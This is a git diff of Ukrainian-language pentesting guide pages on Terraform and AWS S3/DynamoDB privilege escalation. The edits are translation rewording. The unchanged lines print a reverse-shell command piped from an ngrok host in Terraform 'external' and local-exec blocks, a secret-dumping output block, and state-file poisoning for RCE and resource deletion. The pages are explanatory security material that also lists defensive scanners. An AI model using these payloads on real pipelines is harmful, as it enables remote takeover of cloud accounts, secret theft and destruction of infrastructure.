diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 89eb1448c..c0abe7916 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [З документації:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що читаються людиною, які ви можете версіювати, повторно використовувати та ділитися ними. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислювальні, сховищні та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS. +HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, зрозумілих для людини, які можна версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS. #### Як працює Terraform? @@ -44,7 +44,7 @@ Terraform **не має платформи, що відкриває веб-ст atlantis-security.md {{#endref}} -Якщо ви зможете скомпрометувати файл terraform, існують різні способи, якими ви можете виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`. +Якщо ви зможете скомпрометувати файл terraform, існують різні способи виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`. ### Terraform plan @@ -52,7 +52,7 @@ Terraform plan — це **найбільш використовувана ком **Використання зовнішнього провайдера** -Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконати довільний код під час `plan`. +Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконувати довільний код під час `plan`. Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`: ```javascript @@ -60,9 +60,9 @@ data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Використання кастомного провайдера** +**Використання користувацького провайдера** -Атакуючий може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)): +Атакуючий може надіслати [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -116,7 +116,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ## Витоки секретів -Ви можете отримати **секретні значення, які використовуються terraform, вивантаживши** їх, запустивши `terraform apply`, додавши до файлу terraform щось на зразок: +Ви можете **вивести секретні значення, які використовуються terraform**, запустивши `terraform apply`, додавши до файлу terraform щось на зразок: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,13 +124,13 @@ value = nonsensitive(var.do_token) ``` ## Зловживання файлами стану Terraform -У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу. Навіть якщо у вас буде доступ на запис до конфігураційних файлів, використання вектора файлів стану часто є набагато підступнішим, оскільки ви не залишаєте слідів в історії `git`. +У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу. Навіть якщо у вас є доступ на запис до конфігураційних файлів, використання вектора файлів стану часто є набагато підступнішим, оскільки ви не залишаєте слідів в історії `git`. ### RCE в Terraform: отруєння конфігураційного файлу Можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати фальшивий ресурс, що посилається на шкідливий провайдер. -Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) базується на дослідженні та використовує цей принцип. Ви можете додати фальшивий ресурс і вказати довільну команду bash, яку хочете виконати, в атрибуті `command`. Коли запускається `terraform`, це буде прочитано та виконано на етапах `terraform plan` і `terraform apply`. У випадку етапу `terraform apply`, `terraform` видалить фальшивий ресурс з файлу стану після виконання вашої команди, прибираючи за собою. Більше інформації та повну демонстрацію можна знайти в [репозиторії GitHub, що містить вихідний код для цього провайдера](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Провайдер [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) базується на дослідженні та озброює цей принцип. Ви можете додати фальшивий ресурс і вказати довільну команду bash, яку ви хочете виконати, в атрибуті `command`. Коли запускається `terraform`, це буде прочитано та виконано на етапах `terraform plan` і `terraform apply`. У випадку етапу `terraform apply`, `terraform` видалить фальшивий ресурс з файлу стану після виконання вашої команди, прибираючи за собою. Більше інформації та повну демонстрацію можна знайти в [репозиторії GitHub, що містить вихідний код для цього провайдера](https://github.com/offensive-actions/terraform-provider-statefile-rce). Щоб використовувати це безпосередньо, просто включіть наступне в будь-якому місці масиву `resources` і налаштуйте атрибути `name` та `command`: ```json @@ -158,9 +158,9 @@ value = nonsensitive(var.do_token) Існує 2 способи знищити ресурси: -1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення** +1. **Вставте ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення** -Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ID ресурсу, що вказаний). Приклад з попередньої сторінки: +Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки: ```json { "mode": "managed", @@ -176,9 +176,9 @@ value = nonsensitive(var.do_token) ] }, ``` -2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)** +2. **Змініть ресурс так, щоб його не можна було оновити (щоб його видалили та відтворили)** -Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його. +Для EC2 інстансу зміна типу інстансу достатня для того, щоб terraform видалив і відтворив його. ### Замініть заблокований провайдер @@ -219,7 +219,7 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів. +**Checkov** — це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів. Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів. @@ -230,14 +230,14 @@ checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування для вашої інфраструктури як коду. +З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду. - **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам - **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC? - **переносимість:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/) - **попереднє розгортання:** він перевіряє ваш код перед його розгортанням - **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. -- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. +- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де за це відповідає окрема команда. > [!NOTE] > На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент. @@ -250,7 +250,7 @@ terraform-compliance -f /path/to/folder З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань. -- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів +- ☁️ Перевіряє на неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів - ⛔ Сотні вбудованих правил - 🪆 Сканує модулі (локальні та віддалені) - ➕ Оцінює HCL вирази, а також літеральні значення @@ -269,7 +269,7 @@ tfsec /path/to/folder Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні налаштування інфраструктури на ранніх етапах циклу розробки вашої інфраструктури як коду за допомогою **KICS** від Checkmarx. -**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, орієнтованого на хмарні технології. +**KICS** означає **K**eeping **I**nfrastructure as **C**ode **S**ecure, це програмне забезпечення з відкритим кодом і є обов'язковим для будь-якого проекту, що використовує хмарні технології. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 0f40d8c5e..6adffc1e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -61,7 +61,7 @@ aws dynamodb put-resource-policy \ ### Постексплуатація -Наскільки мені відомо, **немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці постексплуатації DynamoDB**: +Наскільки мені відомо, **немає іншого прямого способу підвищити привілеї в AWS, просто маючи деякі дозволи AWS `dynamodb`**. Ви можете **читати чутливу** інформацію з таблиць (яка може містити облікові дані AWS) і **записувати інформацію в таблиці** (що може спровокувати інші вразливості, такі як ін'єкції коду lambda...), але всі ці варіанти вже розглянуті на **сторінці Постексплуатації DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 6039fffdf..c0d4bfa4d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї. -Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ може бути наданий за допомогою наступної політики: +Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ можна надати за допомогою наступної політики: ```json { "Version": "2012-10-17", @@ -34,12 +34,12 @@ ] } ``` -І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**. +І захоплення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **захопить** **вміст** цього **кошика**. ![](<../../../images/image (174).png>) Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\ -Для отримання додаткової інформації перегляньте оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Для отримання додаткової інформації перевірте оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` @@ -52,9 +52,9 @@ ### `s3:PutObject`, `s3:GetObject` (додатково) над файлом стану terraform -Досить поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. +Досить поширено, що файли стану [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) зберігаються в блоб-сховищах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - `.tfstate`, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай, у реальних облікових записах майже завжди всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. -Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти законні ресурси. +Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями `terraform` - найчастіше `AdministratorAccess`, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи `terraform` видаляти легітимні ресурси. Слідуйте опису в розділі *Зловживання файлами стану Terraform* на сторінці *Безпека Terraform* для безпосередньо використовуваного коду експлойту: @@ -64,7 +64,7 @@ terraform-security.md#abusing-terraform-state-files ### `s3:PutBucketPolicy` -Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `Метод, що вказується, не дозволено`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики. +Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket